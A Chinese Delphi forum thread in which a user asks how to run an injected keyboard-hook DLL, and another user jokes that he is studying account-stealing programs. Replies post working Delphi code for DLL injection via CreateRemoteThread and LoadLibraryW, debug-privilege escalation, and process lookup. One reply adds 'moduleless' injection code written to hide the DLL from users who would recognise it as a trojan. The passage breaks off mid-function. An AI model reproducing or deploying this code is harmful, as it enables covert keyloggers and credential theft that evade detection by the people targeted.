请问各位富翁把一个DLL注入某个进程后怎样运行它?(其中DLL是个键盘钩子) ( 积分: 200 )

  • 主题发起人 主题发起人 ljmxy
  • 开始时间 开始时间
L

ljmxy

Unregistered / Unconfirmed
GUEST, unregistred user!
请问各位富翁把一个DLL注入某个进程后怎样运行它?(其中DLL是个键盘钩子)<br>DLL&nbsp;用rundll32.exe&nbsp;xx.dll&nbsp;是可以运行的..<br>是不是DLL里用到了API所以运行不了或会出错啊?
 
此帖留名&nbsp;看楼下怎么说
 
ljmxy开始研究盗号程序了&nbsp;<br>我也想知道答案<br>关注中……&nbsp;顶啊顶啊
 
TO&nbsp;zdwjetlee<br>我没想过盗号啊.只是想学学..
 
奉上全部身价了,希望可以得到答案!
 
如果Hook在DLLMain里,注入后LoadLibrary就可以了,如果是个函数或者过程,还要GetProcAddress<br><br>DLL里的API都不用重定向的,所以你出错的地方肯定不是因为调用了API。<br>至于如何注射DLL,相信你已经看过很多文章了。这里就给段我以前写的,注射过程已经写成了函数-_-:<br><br>//写目标进程<br>//比如AttachToProcess('notepad.exe',&nbsp;string(SystemDir)+'/'+'gencast.dll');<br>//或者AttachToProcess('',&nbsp;string(SystemDir)+'/'+'gencast.dll',strtoint(editProcessID.Text));<br>function&nbsp;AttachToProcess(const&nbsp;HostFile,&nbsp;GuestFile:&nbsp;string;&nbsp;const&nbsp;PID:&nbsp;DWORD&nbsp;=&nbsp;0):&nbsp;DWORD;<br>var<br>&nbsp;&nbsp;hRemoteProcess:&nbsp;THandle;<br>&nbsp;&nbsp;dwRemoteProcessId:&nbsp;DWORD;<br>&nbsp;&nbsp;cb:&nbsp;DWORD;<br>&nbsp;&nbsp;pszLibFileRemote:&nbsp;Pointer;<br>&nbsp;&nbsp;iReturnCode:&nbsp;Boolean;<br>&nbsp;&nbsp;TempVar:&nbsp;DWORD;<br>&nbsp;&nbsp;pfnStartAddr:&nbsp;TFNThreadStartRoutine;<br>&nbsp;&nbsp;pszLibAFilename:&nbsp;PwideChar;<br>begin<br>&nbsp;&nbsp;Result&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;//分配&nbsp;GuestFile&nbsp;的Unicode存储空间&nbsp;2&nbsp;BYTE<br>&nbsp;&nbsp;//由于以null结尾,所以+1<br>&nbsp;&nbsp;Getmem(pszLibAFilename,&nbsp;Length(GuestFile)&nbsp;*&nbsp;2&nbsp;+&nbsp;1);<br>&nbsp;&nbsp;//转化为&nbsp;Unicode<br>&nbsp;&nbsp;StringToWideChar(GuestFile,&nbsp;pszLibAFilename,&nbsp;Length(GuestFile)&nbsp;*&nbsp;2&nbsp;+&nbsp;1);<br>&nbsp;&nbsp;if&nbsp;PID&nbsp;&gt;&nbsp;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwRemoteProcessID&nbsp;:=&nbsp;PID<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FindAProcess(HostFile,&nbsp;False,&nbsp;dwRemoteProcessID);<br><br>&nbsp;&nbsp;Form1.Label1.Caption:=Form1.Label1.Caption+'pID:&nbsp;'+inttostr(dwRemoteProcessID);<br>&nbsp;&nbsp;//打开指定进程<br>&nbsp;&nbsp;hRemoteProcess&nbsp;:=&nbsp;OpenProcess(PROCESS_CREATE_THREAD&nbsp;+&nbsp;{允许远程创建线程}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_VM_OPERATION&nbsp;+&nbsp;{允许远程VM操作}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_VM_WRITE,&nbsp;{允许远程VM写}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FALSE,&nbsp;dwRemoteProcessId);<br>&nbsp;&nbsp;//计算存储Dll名要用的内存空间<br>&nbsp;&nbsp;cb&nbsp;:=&nbsp;(1&nbsp;+&nbsp;lstrlenW(pszLibAFilename))&nbsp;*&nbsp;sizeof(WCHAR);<br>&nbsp;&nbsp;//用&nbsp;VirtualAllocEx&nbsp;分配存放用的缓冲区<br>&nbsp;&nbsp;pszLibFileRemote&nbsp;:=&nbsp;PWIDESTRING(VirtualAllocEx(hRemoteProcess,&nbsp;nil,&nbsp;cb,&nbsp;MEM_COMMIT,&nbsp;PAGE_READWRITE));<br>&nbsp;&nbsp;TempVar&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;//WriteProcessMemory&nbsp;将代码写到远程进程中<br>&nbsp;&nbsp;iReturnCode&nbsp;:=&nbsp;WriteProcessMemory(hRemoteProcess,&nbsp;pszLibFileRemote,&nbsp;pszLibAFilename,&nbsp;cb,&nbsp;TempVar);<br>&nbsp;&nbsp;if&nbsp;iReturnCode&nbsp;then<br>&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;//查找&nbsp;LoadLibraryW&nbsp;的地址<br>&nbsp;&nbsp;&nbsp;&nbsp;pfnStartAddr&nbsp;:=&nbsp;GetProcAddress(GetModuleHandle('Kernel32'),&nbsp;'LoadLibraryW');<br>&nbsp;&nbsp;&nbsp;&nbsp;TempVar&nbsp;:=&nbsp;0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;//用&nbsp;LoadLibraryW&nbsp;调用代码<br>&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;CreateRemoteThread(hRemoteProcess,&nbsp;nil,&nbsp;0,&nbsp;pfnStartAddr,&nbsp;pszLibFileRemote,&nbsp;0,&nbsp;TempVar);<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;Freemem(pszLibAFilename);<br>end;<br><br>//查找指定进程,并返回pID<br>procedure&nbsp;FindAProcess(const&nbsp;AFilename:&nbsp;string;&nbsp;const&nbsp;PathMatch:&nbsp;Boolean;&nbsp;var&nbsp;ProcessID:&nbsp;DWORD);<br>var<br>&nbsp;&nbsp;lppe:&nbsp;TProcessEntry32;<br>&nbsp;&nbsp;SsHandle:&nbsp;Thandle;<br>&nbsp;&nbsp;FoundAProc,&nbsp;FoundOK:&nbsp;boolean;<br>begin<br>&nbsp;&nbsp;ProcessID&nbsp;:=0;<br>&nbsp;&nbsp;SsHandle&nbsp;:=&nbsp;CreateToolHelp32SnapShot(TH32CS_SnapProcess,&nbsp;0);<br>&nbsp;&nbsp;FoundAProc&nbsp;:=&nbsp;Process32First(Sshandle,&nbsp;lppe);<br>&nbsp;&nbsp;while&nbsp;FoundAProc&nbsp;do<br>&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;PathMatch&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FoundOK&nbsp;:=&nbsp;AnsiStricomp(lppe.szExefile,&nbsp;PChar(AFilename))&nbsp;=&nbsp;0<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FoundOK&nbsp;:=&nbsp;AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)),&nbsp;PChar(ExtractFilename(AFilename)))&nbsp;=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;FoundOK&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessID&nbsp;:=&nbsp;lppe.th32ProcessID;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;FoundAProc&nbsp;:=&nbsp;Process32Next(SsHandle,&nbsp;lppe);<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;CloseHandle(SsHandle);<br>end;<br><br><br><br>再一个要注意的是,进程需要SeDebugPrivilege权限,才能读写目标进程的。提升权限用EnabledDebugPrivilege这个函数,一搜一把。
 
TO&nbsp;木桩<br>跟我的一模一样,不过我的是抄别人的.可能作者就是你呀..哈哈.我先试试.行的话我就给分.谢谢<br>procedure&nbsp;FindAProcess(const&nbsp;AFilename:string;&nbsp;const&nbsp;PathMatch:Boolean;&nbsp;var&nbsp;ProcessID:&nbsp;DWORD);<br>//AFilename为要查找(进程ID)的文件名(可以包行路径)<br>//PathMatch为查找的时候是否匹配路径<br>var<br>&nbsp;&nbsp;&nbsp;&nbsp;lppe:TProcessEntry32;<br>&nbsp;&nbsp;&nbsp;&nbsp;SsHandle:Thandle;<br>&nbsp;&nbsp;&nbsp;&nbsp;FoundAProc,&nbsp;FoundOK:boolean;<br>begin<br>&nbsp;&nbsp;&nbsp;&nbsp;SsHandle&nbsp;&nbsp;&nbsp;:=&nbsp;CreateToolHelp32SnapShot(TH32CS_SNAPALL,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;FoundAProc&nbsp;:=&nbsp;Process32First(Sshandle,lppe);<br>&nbsp;&nbsp;&nbsp;&nbsp;//枚举Process,然后判断是否是所要查找的Process<br>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;FoundAProc&nbsp;do<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//根据PathMatch的值来决定匹配的方式<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;PathMatch&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FoundOK:=AnsiStricomp(lppe.szExefile,PChar(AFilename))=0<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FoundOK:=AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)),PChar(ExtractFilename(AFilename)))=0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;FoundOK&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessID:=lppe.th32ProcessID;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FoundAProc&nbsp;:=Process32Next(SsHandle,lppe);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;if&nbsp;not&nbsp;FoundAProc&nbsp;then&nbsp;showmessage(SysErrorMessage(GetLastError));<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(SsHandle);<br>end;<br><br>//激活或者停止指定的权限<br>function&nbsp;EnabledDebugPrivilege(const&nbsp;bEnabled:&nbsp;Boolean):Boolean;<br>var<br>&nbsp;&nbsp;&nbsp;&nbsp;hToken:&nbsp;THandle;<br>&nbsp;&nbsp;&nbsp;&nbsp;tp:&nbsp;TOKEN_PRIVILEGES;<br>&nbsp;&nbsp;&nbsp;&nbsp;a:&nbsp;DWORD;<br>const<br>&nbsp;&nbsp;&nbsp;&nbsp;SE_DEBUG_NAME&nbsp;=&nbsp;'SeDebugPrivilege';<br>begin<br>&nbsp;&nbsp;&nbsp;&nbsp;Result:=False;<br>&nbsp;&nbsp;&nbsp;&nbsp;//打开当前Process的令牌(我一直叫Token为令牌)<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(OpenProcessToken(GetCurrentProcess(),&nbsp;TOKEN_ADJUST_PRIVILEGES,&nbsp;hToken))&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//调整令牌的权限,也就是加上或者取消调试权限(SE_DEBUG_NAME)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tp.PrivilegeCount&nbsp;:=1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LookupPrivilegeValue(nil,SE_DEBUG_NAME&nbsp;,tp.Privileges[0].Luid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;bEnabled&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tp.Privileges[0].Attributes&nbsp;:=&nbsp;SE_PRIVILEGE_ENABLED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tp.Privileges[0].Attributes&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a:=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AdjustTokenPrivileges(hToken,False,tp,SizeOf(tp),nil,a);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result:=&nbsp;GetLastError&nbsp;=&nbsp;ERROR_SUCCESS;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hToken);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>end;<br><br>//在指定的进程中插入一个DLL文件<br>function&nbsp;AttachToProcess(const&nbsp;HostFile,&nbsp;GuestFile&nbsp;:&nbsp;string;const&nbsp;PID:DWORD=0):DWORD;<br>//HostFile为要绑定的宿主文件(Exe文件),GuestFile为要嵌入的客户文件(Dll文件)<br>//如AttachToProcess('D:/TESTDLL.DLL','Notepad.exe')&nbsp;;<br>var<br>&nbsp;&nbsp;&nbsp;&nbsp;hRemoteProcess:&nbsp;THandle;<br>&nbsp;&nbsp;&nbsp;&nbsp;dwRemoteProcessId:DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;cb:DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;pszLibFileRemote:&nbsp;Pointer;<br>&nbsp;&nbsp;&nbsp;&nbsp;iReturnCode:Boolean;<br>&nbsp;&nbsp;&nbsp;&nbsp;TempVar:DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;pfnStartAddr:TFNThreadStartRoutine;<br>&nbsp;&nbsp;&nbsp;&nbsp;pszLibAFilename:&nbsp;PwideChar;<br>begin<br>&nbsp;&nbsp;&nbsp;&nbsp;Result:=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;//激活当前Process的SE_DEBUG_NAME权限,如果不激活的话,一些服务进程将无法<br>&nbsp;&nbsp;&nbsp;&nbsp;//打开<br>&nbsp;&nbsp;&nbsp;&nbsp;EnabledDebugPrivilege(True);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;//给pszLibAFilename分配内存,为什么是Length(GuestFile)*2+1呢,因为咱们<br>&nbsp;&nbsp;&nbsp;&nbsp;//等一会儿,要调用函数LoadLibraryW,而LoadLibraryW函数需要的参数是WideChar型<br>&nbsp;&nbsp;&nbsp;&nbsp;Getmem(pszLibAFilename,Length(GuestFile)*2+1);<br>&nbsp;&nbsp;&nbsp;&nbsp;StringToWideChar(GuestFile,pszLibAFilename,Length(GuestFile)*2+1);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;PID&gt;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwRemoteProcessID:=PID;<br>&nbsp;&nbsp;&nbsp;&nbsp;end<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FindAProcess(HostFile,False,dwRemoteProcessID);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;//由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请<br>&nbsp;&nbsp;&nbsp;&nbsp;//足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。<br>&nbsp;&nbsp;&nbsp;&nbsp;//然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL,LoadLibraryW<br>&nbsp;&nbsp;&nbsp;&nbsp;//函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL<br>&nbsp;&nbsp;&nbsp;&nbsp;//文件的绝对路径名pszLibAFilename,(也就是DLL的全路径文件名),但是由于<br>&nbsp;&nbsp;&nbsp;&nbsp;//DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空<br>&nbsp;&nbsp;&nbsp;&nbsp;//间:(否则远程线程是无法读到这个参数的)<br>&nbsp;&nbsp;&nbsp;&nbsp;hRemoteProcess&nbsp;:=&nbsp;OpenProcess(PROCESS_CREATE_THREAD&nbsp;+&nbsp;//允许远程创建线程<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_VM_OPERATION+&nbsp;//允许远程VM操作<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_VM_WRITE,//允许远程VM写<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FALSE,&nbsp;dwRemoteProcessId);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;//计算DLL路径名需要的内存空间<br>&nbsp;&nbsp;&nbsp;&nbsp;cb&nbsp;:=&nbsp;(1&nbsp;+&nbsp;lstrlenW(pszLibAFilename))&nbsp;*&nbsp;sizeof(WCHAR);<br>&nbsp;&nbsp;&nbsp;&nbsp;//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区<br>&nbsp;&nbsp;&nbsp;&nbsp;pszLibFileRemote&nbsp;:=&nbsp;PWideString(&nbsp;VirtualAllocEx(&nbsp;hRemoteProcess,&nbsp;nil,&nbsp;cb,&nbsp;MEM_COMMIT,&nbsp;PAGE_READWRITE));<br>&nbsp;&nbsp;&nbsp;&nbsp;//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间<br>&nbsp;&nbsp;&nbsp;&nbsp;TempVar:=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;iReturnCode&nbsp;:=&nbsp;WriteProcessMemory(hRemoteProcess,pszLibFileRemote,&nbsp;pszLibAFilename,&nbsp;cb,&nbsp;TempVar);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;iReturnCode&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//计算LoadLibraryW的入口地址<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pfnStartAddr&nbsp;:=&nbsp;GetProcAddress(GetModuleHandle('Kernel32'),&nbsp;'LoadLibraryW');<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//的入口地址)和传递的参数&nbsp;&nbsp;pszLibFileRemote(实际上是我们复制过去的DLL的全路<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//径文件名)在远程进程内启动我们的DLL:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TempVar:=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;CreateRemoteThread(hRemoteProcess,&nbsp;nil,&nbsp;0,&nbsp;pfnStartAddr,&nbsp;pszLibFileRemote,&nbsp;0,&nbsp;TempVar);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;Freemem(pszLibAFilename);<br>end;
 
ps,这个也是我抄别人的,只是稍稍改了点东西——汗-_-!<br><br>这东西已经没有意义了,现在注射DLL绝对不安全,对系统进程稍微熟悉一点的人,都能区分出最后那个DLL是木马来着。<br>所以我现在在研究那种无模块的DLL注射,也就是注射后看不到DLL名称。只是还没有到实际应用的程度...
 
这个就是无模块DLL注射,放假刚写的(这回是原创)<br>原理是:载入DLL,将映射后数据移动到另一块区域,FreeLibrary,最后将DLL数据写回。<br>//----------------------&nbsp;阶段1&nbsp;----------------------<br>unit&nbsp;CopyMem_Main;<br><br>interface<br><br>uses<br>&nbsp;&nbsp;Windows,&nbsp;Messages,&nbsp;SysUtils,&nbsp;Variants,&nbsp;Classes,&nbsp;Graphics,&nbsp;Controls,&nbsp;Forms,<br>&nbsp;&nbsp;Dialogs,&nbsp;StdCtrls;<br><br>type<br>&nbsp;&nbsp;TForm1&nbsp;=&nbsp;class(TForm)<br>&nbsp;&nbsp;&nbsp;&nbsp;Button1:&nbsp;TButton;<br>&nbsp;&nbsp;&nbsp;&nbsp;Memo1:&nbsp;TMemo;<br>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;Button1Click(Sender:&nbsp;TObject);<br>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;FormCreate(Sender:&nbsp;TObject);<br>&nbsp;&nbsp;private<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Private&nbsp;declarations&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;var<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hLib:&nbsp;THandle;<br>&nbsp;&nbsp;public<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Public&nbsp;declarations&nbsp;}<br>&nbsp;&nbsp;end;<br><br>var<br>&nbsp;&nbsp;Form1:&nbsp;TForm1;<br><br>function&nbsp;EnabledDebugPrivilege(const&nbsp;bEnabled:&nbsp;Boolean):&nbsp;Boolean;<br><br>implementation<br><br>{$R&nbsp;*.dfm}<br><br>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<br>type<br>&nbsp;&nbsp;TProc=procedure&nbsp;();<br>var<br>&nbsp;&nbsp;proc:&nbsp;TProc;<br>&nbsp;&nbsp;dllAddress,&nbsp;dllNewAddress,&nbsp;d_AllocAddr:&nbsp;Pointer;<br>&nbsp;&nbsp;dllSize:&nbsp;Int64;<br>&nbsp;&nbsp;hProcess:&nbsp;THandle;<br>&nbsp;&nbsp;TempVar:Cardinal;<br>begin<br>&nbsp;&nbsp;hLib:=LoadLibrary('inProcs1.dll');<br>&nbsp;&nbsp;proc:=GetProcAddress(hLib,&nbsp;'inJet');<br>&nbsp;&nbsp;asm<br>&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;eax<br>&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,proc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//函数名本身就是指针<br>&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;eax,$FFFF0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//取DLL基址<br>&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;dllAddress,eax<br>&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;eax<br>&nbsp;&nbsp;end;<br>&nbsp;&nbsp;Memo1.Lines.Add(Format('DLL基址:%0.8x'#13#10'inJet地址:%0.8x',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[Integer(dllAddress),&nbsp;Integer(@proc)]));<br><br>&nbsp;&nbsp;dllSize:=$1C000;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//映射后大小<br>&nbsp;&nbsp;Memo1.Lines.Add(Format('DLL大小:%x',[dllSize]));<br><br>&nbsp;&nbsp;//开始分配内存<br>&nbsp;&nbsp;hProcess:=OpenProcess(PROCESS_CREATE_THREAD&nbsp;+&nbsp;PROCESS_VM_OPERATION&nbsp;+&nbsp;PROCESS_VM_WRITE,&nbsp;FALSE,&nbsp;GetCurrentProcessId());<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;hProcess&lt;=0&nbsp;then&nbsp;begin&nbsp;Memo1.Lines.Add('OpenProcess&nbsp;失败。');Exit;end;<br>&nbsp;&nbsp;//复制到新申请的位置<br>&nbsp;&nbsp;d_AllocAddr:=VirtualAllocEx(hProcess,&nbsp;nil,&nbsp;dllSize,&nbsp;MEM_COMMIT&nbsp;or&nbsp;MEM_RESERVE,&nbsp;PAGE_READWRITE);<br>&nbsp;&nbsp;WriteProcessMemory(hProcess,&nbsp;d_AllocAddr,&nbsp;dllAddress,&nbsp;dllSize,&nbsp;TempVar);<br>&nbsp;&nbsp;Memo1.Lines.Add(format(#13#10'写入数据在:&nbsp;%0.8x&nbsp;-&nbsp;%0.8x',[integer(d_AllocAddr),integer(d_AllocAddr)+dllSize]));<br>&nbsp;&nbsp;//释放DLL<br>&nbsp;&nbsp;FreeLibrary(hLib);<br>&nbsp;&nbsp;Sleep(100);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//保证释放完成<br><br>&nbsp;&nbsp;//写回原来的位置<br>&nbsp;&nbsp;dllNewAddress:=VirtualAllocEx(hProcess,&nbsp;dllAddress,&nbsp;dllSize,&nbsp;MEM_COMMIT&nbsp;or&nbsp;MEM_RESERVE,&nbsp;PAGE_READWRITE);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;dllNewAddress&lt;&gt;dllAddress&nbsp;then&nbsp;begin&nbsp;Memo1.Lines.Add(format('错误号:%d'#13#10'分配数据空间失败!原始位置:%0.8x&nbsp;现在位置:%0.8x',[GetLastError,&nbsp;integer(d_AllocAddr),integer(dllNewAddress)]));&nbsp;Exit;&nbsp;end;<br>&nbsp;&nbsp;TempVar:=0;<br>&nbsp;&nbsp;WriteProcessMemory(hProcess,&nbsp;dllAddress,&nbsp;d_AllocAddr,&nbsp;dllSize,&nbsp;TempVar);<br>&nbsp;&nbsp;Memo1.Lines.Add(format(#13#10'写回数据到&nbsp;%0.8x&nbsp;位置成功!',[Integer(dllNewAddress)]));<br><br>&nbsp;&nbsp;//执行目标过程<br>&nbsp;&nbsp;TempVar:=0;<br>&nbsp;&nbsp;CreateThread(nil,&nbsp;0,&nbsp;@Proc,&nbsp;nil,&nbsp;0,&nbsp;TempVar);<br><br>&nbsp;&nbsp;CloseHandle(hProcess);<br>end;<br><br>procedure&nbsp;TForm1.FormCreate(Sender:&nbsp;TObject);<br>begin<br>&nbsp;&nbsp;EnabledDebugPrivilege(True);<br>end;<br><br>//提升权限<br>function&nbsp;EnabledDebugPrivilege(const&nbsp;bEnabled:&nbsp;Boolean):&nbsp;Boolean;<br>var<br>&nbsp;&nbsp;hToken:&nbsp;THandle;<br>&nbsp;&nbsp;tp:&nbsp;TOKEN_PRIVILEGES;<br>&nbsp;&nbsp;a:&nbsp;DWORD;<br>const<br>&nbsp;&nbsp;SE_DEBUG_NAME&nbsp;=&nbsp;'SeDebugPrivilege';<br>begin<br>&nbsp;&nbsp;Result&nbsp;:=&nb